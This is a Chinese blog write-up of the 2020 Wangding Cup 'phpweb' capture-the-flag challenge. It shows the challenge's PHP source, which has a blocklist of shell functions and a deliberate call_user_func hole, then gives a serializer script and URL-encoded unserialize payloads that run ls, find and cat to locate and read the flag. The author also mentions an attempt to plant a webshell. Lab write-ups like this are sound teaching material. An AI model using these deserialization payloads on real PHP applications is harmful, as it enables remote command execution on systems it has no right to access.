[网鼎杯 2020 朱雀组]phpweb
题目链接:[网鼎杯 2020 朱雀组]phpweb。
打开环境后如下所示。
随后,页面会发生变化,因此使用 BurpSuite 抓包,看看情况,发现页面一直在发送 HTTP 包,如下。
可以看到,index.php 中接收了两个参数,看起来像是一个函数及对应的参数,因此尝试调用 system 函数,回显如下。
可以看到,system 函数被检测到,因此后端应该是对参数 func 的内容进行了判断。
尝试使用 file_get_contents 函数去读取 index.php 的源码,Payload:func=file_get_contents&p=index.php
,获得到的源码如下。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以看到,有许多函数都被禁用,如 exec、shell_exec 等。并且,func 参数会经过一次检测,随后才执行指定的函数,但是,留意到存在 Test 类,并且存在 __destruct
方法,该方法中并没有对 func 的检测,因此,可以设置 func 为 unserialize,在参数 p 中传入序列化内容。
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$demo = new Test();
$demo_serialize = serialize($demo);
$fp1 = fopen("serialize.txt","w");
fwrite($fp1,$demo_serialize);
fclose($fp1);
$fp2 = fopen("(URL Encode)serialize.txt","w");
fwrite($fp2,urlencode($demo_serialize));
fclose($fp2);
?>
得到 Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
。
响应包如下。
可以看到,成功的执行了 system 函数。
此处原本计划直接写入 WebShell,但是似乎写入不了,不知为何。
接下来,继续使用反序列化查找 flag 的位置,在根目录中没有发现 flag。
因此,使用 find 命令尝试去找一下 flag 位置。
Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A30%3A%22find+%2F+-name+flag%2A+2%3E%2Fdev%2Fnull%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
。
可以发现,在 /tmp 目录下存在着一个可疑文件,因此查看一下该文件的内容。
Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现